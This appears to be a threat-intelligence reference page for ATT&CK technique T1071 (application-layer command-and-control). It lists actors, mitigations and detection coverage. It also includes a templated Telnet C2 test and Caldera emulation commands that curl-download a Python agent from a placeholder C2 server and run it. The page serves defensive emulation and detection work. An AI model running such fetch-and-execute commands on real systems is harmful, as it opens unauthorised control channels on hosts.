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ATT&CK Technique

Application Layer Protocol

T1071 · command-and-control

Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing.

For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.

LinuxmacOSWindowsNetwork DevicesESXi
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Actors Using This

14
iranAgrius
russia_speaking_cybercrimeAkira
russia_speaking_cybercrimeALPHV / BlackCat
latin_america_brazilian_organized_cybercrimeAmavaldo
north_koreaAndariel
franceAnimal Farm
russia_aligned_false_flag_hacktivismAnonymous Sudan
unknown_likely_russia_alignedAnubis Ransomware
chinaAoqin Dragon
chinaAPT10
chinaAPT17
chinaAPT1
russiaAPT28
russiaAPT29
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Atomic Tests

1
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershellwindowsTelnet C2
An adversary may establish Telnet communication from a compromised endpoint to a command and control (C2) server in order to carry out additional attacks on objectives. 
#{client_path} #{server_ip} --port #{server_port}
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Mitigations

2
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1031Network Intrusion Prevention

Use intrusion detection signatures to block traffic at network boundaries.

M1037Filter Network Traffic

Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. This includes protocol-based filtering, enforcing firewall rules, and blocking or restricting traffic based on predefined conditions to limit adversary movement and data exfiltration.

Ingress Traffic Filtering
  • Use Case: Configure network firewalls to allow traffic only from authorized IP addresses to public-facing servers.
  • Implementation: Limit SSH (port 22) and RDP (port 3389) traffic to specific IP ranges.
Egress Traffic Filtering
  • Use Case: Use firewalls or endpoint security software to block unauthorized outbound traffic to prevent data exfiltration and command-and-control (C2) communications.
  • Implementation: Block outbound traffic to known malicious IPs or regions where communication is unexpected.
Protocol-Based Filtering
  • Use Case: Restrict the use of specific protocols that are commonly abused by adversaries, such as SMB, RPC, or Telnet, based on business needs.
  • Implementation: Disable SMBv1 on endpoints to prevent exploits like EternalBlue.
Network Segmentation
  • Use Case: Create network segments for critical systems and restrict communication between segments unless explicitly authorized.
  • Implementation: Implement VLANs to isolate IoT devices or guest networks from core business systems.
Application Layer Filtering
  • Use Case: Use proxy servers or Web Application Firewalls (WAFs) to inspect and block malicious HTTP/S traffic.
  • Implementation: Configure a WAF to block SQL injection attempts or other web application exploitation techniques.
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Detection Coverage

2/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 5
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) 6,117
Vuln scan (Nuclei) none
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Caldera Emulation

2
MITRE Caldera abilities that emulate this technique - each is an executable action for automated adversary emulation.
command-and-controldarwin, linuxElasticat
server="#{app.contact.http}";
curl -s -X POST -H "file:elasticat.py" -H "platform:darwin" $server/file/download > elasticat.py;
pip install requests;
python elasticat.py --server=$server --es-host="http://127.0.0.1:9200" --group=blue --minutes-since=60
command-and-controldarwin, linuxRagdoll
server="#{app.contact.http}";
curl -s -X POST -H "file:ragdoll.py" -H "platform:darwin" $server/file/download > ragdoll.py;
pip install requests beautifulsoup4;
python ragdoll.py -W $server#{app.contact.html}
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Comply & Defend

NIST 800-53AC-04, CA-07, CM-02, CM-06, CM-07, SC-07, SC-10, SC-20, SC-21, SC-22, SC-23, SC-31, SC-37, SI-03, SI-04
D3FEND12 defensive techniques
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CVETechnique ActorTool Family
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